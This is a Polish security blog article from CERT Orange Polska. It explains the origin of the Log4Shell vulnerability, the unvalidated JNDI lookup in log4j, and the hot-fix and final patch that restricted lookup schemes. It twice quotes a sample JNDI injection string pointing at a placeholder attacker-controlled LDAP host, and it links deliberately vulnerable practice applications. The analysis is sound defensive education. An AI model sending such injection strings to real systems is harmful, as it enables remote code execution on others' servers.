Geneza podatności – CVE-2021-44228 a.k.a Log4Shell
Na stronie CERT Orange Polska przede wszystkim skupiamy się na wysokopoziomowej edukacji w zakresie cyber-zagrożeń. Chcielibyśmy, żeby każdy internauta dowiadywał się od nas na co uważać w sieci, na jakie nowe pomysły wpadają przestępcy, jak ustrzec się, by nie paść ich ofiarą. Czasem jednak znajdzie się u nas miejsce także dla niskopoziomowych, do głębi technicznych analiz. Dziś jedna z nich, a łamy oddajemy Grzegorzowi Siewrukowi.
Wiele mówi się i pisze o podatnościach w oprogramowaniu. Największe problemy są szeroko dyskutowane, a przykłady wykorzystania błędów są często dostępne na GitHubie, zazwyczaj jako exploit lub Proof of Concept (PoC), mające na celu weryfikację, czy aplikacje są narażone na ataki.
Serwisy informacyjne szczegółowo opisują, na czym polegają te defekty, jak je wykorzystać, jak je wykrywać i sprawdzić, czy dotyczą one naszego oprogramowania. Niniejszy artykuł będzie nieco inny. Skoncentruje się na genezie znanego problemu, przeanalizuje przyczyny pojawienia się go w kodzie aplikacji oraz pokaże, jak autorzy bibliotek postanowili rozwiązać te kwestie. Zacznijmy!
Log4Shell – skąd wzięła się podatność?
Na temat podatności w bibliotece log4j, znanej również jako log4shell lub CVE-2021-44228, napisano już wiele. Zarówno w aspekcie jej wykrywania, jak i wpływu błędu na funkcjonowanie aplikacji. Polecam znakomity materiał dostępny na stronie CERT Polska.
Podatność w omawianym pakiecie bierze się z metody przetwarzania i interpolacji ciągów znaków w zapisywanych komunikatach przez Log4j. Jeśli log zawiera specjalnie spreparowany ciąg znaków, takich jak ${jndi:ldap://domena_kontrolowana_przez_atakującego/payload}
, biblioteka próbuje rozwiązać to wyszukiwanie JNDI (Java Naming and Directory Interface) jako część procesu umieszczania informacji w logach aplikacji. Może to prowadzić do sytuacji, w której aplikacja nawiązuje połączenie z zewnętrznym serwerem kontrolowanym przez atakującego, który może zwrócić odniesienie do złośliwego kodu. Serwer aplikacji, który jest podatny, może następnie pobrać i wykonać ten kod, prowadząc do zdalnego wykonania kodu (RCE) na serwerze hostującym aplikacje.
źródło: https://github.com/NCSC-NL/log4shell/blob/main/detection_mitigation/Detection_Guidance.png
Jeśli tylko chcesz wykorzystać w praktyce podatność log4shell, poniżej linki do repozytoriów na GitHub, udostępniających celowo podatne aplikacje:
- https://github.com/tothi/log4shell-vulnerable-app
- https://github.com/christophetd/log4shell-vulnerable-app
Pamiętajcie o zasadach!
Dlaczego sama podatność jest ciekawa z punktu widzenia bezpieczeństwa kodu źródłowego? Otóż jeśli nasza aplikacja jest lub była nią zagrożona, oznacza to, że złamaliśmy lub nie przestrzegamy dwóch bardzo istotnych zasad dotyczących pisania poprawnego kodu:
Niepoprawne kontrolowanie danych, które wchodzą do naszej aplikacji
Wszystkie dane, które są wykorzystywane przez aplikacje, a które zostały przesłane do niej z poza kontekstu jej działania powinny być uznawane za niezaufane i potencjalnie groźne. A co za tym idzie powinny być wyjątkowo weryfikowane przed możliwością ich wykorzystania w aplikacji. Czy sytuacja, w której aplikacja zaakceptuje przesłany payload, gdzie numer MSISDN będzie ciągiem znaków takich jak {"msisdn":"some_test_input"}
, a błąd związany z brakiem możliwości wysłania wiadomości SMS zostanie zgłoszony w funkcji odpowiedzialnej za komunikację z bramką, świadczy o poprawnie zaprojektowanej i napisanej aplikacji? Według mnie niekoniecznie. Niepoprawne dane nigdy nie powinny istnieć w kontekście działania aplikacji. Powinny być odrzucane i wykrywane najwcześniej jak się da, jeszcze przed możliwością stworzenia obiektu, który przyjmie niepoprawne wartości.
Logowanie informacji, którym nie ufamy lub, których odpowiednio nie zweryfikowaliśmy przed umieszczeniem w logach
Umieszczanie niezaufanych danych w logach aplikacji jest uważane za złą praktykę programowania, ponieważ może prowadzić do wielu problemów bezpieczeństwa. Zdarzyło Ci się kiedyś analizować informacje, dotyczące przepływu jakiegoś procesu na podstawie logów aplikacji, po to, żeby odtworzyć jakieś informacje w bazie danych? Wyobraź sobie teraz, że atakujący, tworząc payloady które dodają znaki nowej linii, jest w stanie spreparować kolejne linie w logach aplikacji! Brzmi groźnie? Tego typu sytuacje coraz częściej, na szczęście, są niemożliwe w nowszych bibliotekach. Jednak mimo wszystko w logach umieszczaj tylko informacje, które są zweryfikowane i którym można ufać!.
Jak więc doszło do tego, że w w wersjach biblioteki log4j od 2.0-beta9 do 2.14.1 z wyłączeniem 2.12.2-2.12.* doszło do tak poważnego błędu?
Repozytorium, w którym znajduje się kod biblioteki znajduje się na GitHubie. Analizując kod znajdujący się w linkowanym repo dla wersji, które są podatne można znaleźć plik odpowiedzialny za komunikację za pomocą JNDI – log4j-core/src/main/java/org/apache/logging/log4j/core/net/JndiManager.java
. Klasa ta, a dokładniej metoda odpowiedzialna za możliwość wykorzystania omawianej podatności, wygląda tak:
Metoda przyjmująca generyczny typ danych String – czyli dowolny ciąg znaków – a na wyjściu może zwrócić obiekt dowolnego typu <T>. Sama metoda jest niezwykle prosta i zawiera jedną linijkę – this.context.lookup(name)
. Ta instrukcja wykonuje wyszukiwanie w bieżącym kontekście JNDI (this.context) dla obiektu o podanej nazwie w parametrze name
, zaś wynik wyszukiwania jest zwracany bezpośrednio przez metodę. Brak jakiejkolwiek weryfikacji prowadzi do sytuacji, gdy niezaufane dane mogą być przekształcane bezpośrednio w zapytanie JNDI. To może prowadzić do zagrożeń bezpieczeństwa aplikacji. Jest to przykład, dlaczego ważne jest, aby nie przekazywać niezaufanych danych bezpośrednio do funkcji, które mogą wykonywać czynności na podstawie tych danych, bez odpowiedniej weryfikacji lub sanitacji.
Zanim programiści odpowiedzialni za kształt biblioteki log4j doszli do ostatecznej wersji funkcjonalności, która realizuje zapytania JNDI (co samo w sobie nie jest niczym szczególnie niebezpiecznym i bardzo często całkowicie uzasadnione), wprowadzona została poprawka, która w formie hot-fixa uniemożliwiała wykorzystanie omawianej podatności. W poniższym patchu zmodyfikowano kod metody lookup:
Ta zmiana wprowadza dodatkowe zabezpieczenia w metodzie lookup
do łagodzenia efektów podatności Log4Shell, poprzez sprawdzanie protokołu i nazwy hosta w przekazanym URI oraz kontrolę deserializacji klas. Najpierw sprawdza, czy używany protokół i host znajdują się na listach dozwolonych, blokując próby nawiązania połączeń do potencjalnie złośliwych serwerów LDAP. Następnie weryfikuje, czy atrybuty zwracane przez kontekst JNDI nie zawierają niebezpiecznych klas do deserializacji, co zapobiega wykonaniu złośliwego kodu przez kontrolę klas, które mogą być deserializowane.
Finalnie wersja udostępniana jest dla klientów zawiera metodę w poniższej formie:
Ostateczna wersja jest dużo bardziej uproszczona i nie zawiera tak rozbudowanej logiki polegającej na weryfikowaniu różnych opcji. Przyjęto jednak założenia definitywnie ograniczające funkcjonalności możliwe do wykonania za pomocą zapytań JNDI. Dwie weryfikacje, które zostały wprowadzone, to:
Po pierwsze: czy wprowadzony do metody ciąg znaków o nazwie name
może zostać zaprezentowany w formacie URI
. Jeśli nie, zgłaszany jest wyjątek URISyntaxException
.
Po drugie: wyrażenie warunkowe sprawdza czy schemat jest pusty, czy może przyjmuje wartość JAVA_SCHEME (czyli w tym przypadku java
). W wyniku takiego zabiegu próba przekazania ciągu znaków takiego jak ${jndi:ldap://domena_kontrolowana_przez_atakującego/payload}
się nie powiedzie właśnie w efekcie weryfikacji (schemat ldap nie jest ani nullem ani ciągiem znaków ‘java’).
Podsumowanie
Pierwotna wersja implementacji możliwości realizacji zapytań JNDI została zrobiona “po łebkach”, nie biorąc pod uwagę żadnych założeń ani weryfikacji (no bo pewnie ich na tamtym etapie nie było… Pierwszy etap poprawek na gorąco wyeliminował zagrożenie poprzez wprowadzenie rozbudowanej weryfikacji, która w szczególności uniemożliwia realizację zapytania JNDI z wykorzystaniem schematu LDAP do zdalnego serwera. Finalnie jednak programiści zdecydowali się na przyjęcie konkretnych założeń. A te precyzują: jeśli chcesz korzystać z JNDI, możesz to zrobić tylko przez zapytanie bez schematu lub ze schematem java. W ten sposób ograniczasz funkcjonalność tej metody do absolutnego minimum, które jest potrzebne do realizacji logiki biznesowej udostępnianej przez bibliotekę, przy okazji znacznie upraszczając kod.
Bez kompletnego i poprawnego designu aplikacji – niezwykle ciężko stworzyć kod źródłowy, który będzie odporny na ataki bezpieczeństwa.
Grzegorz Siewruk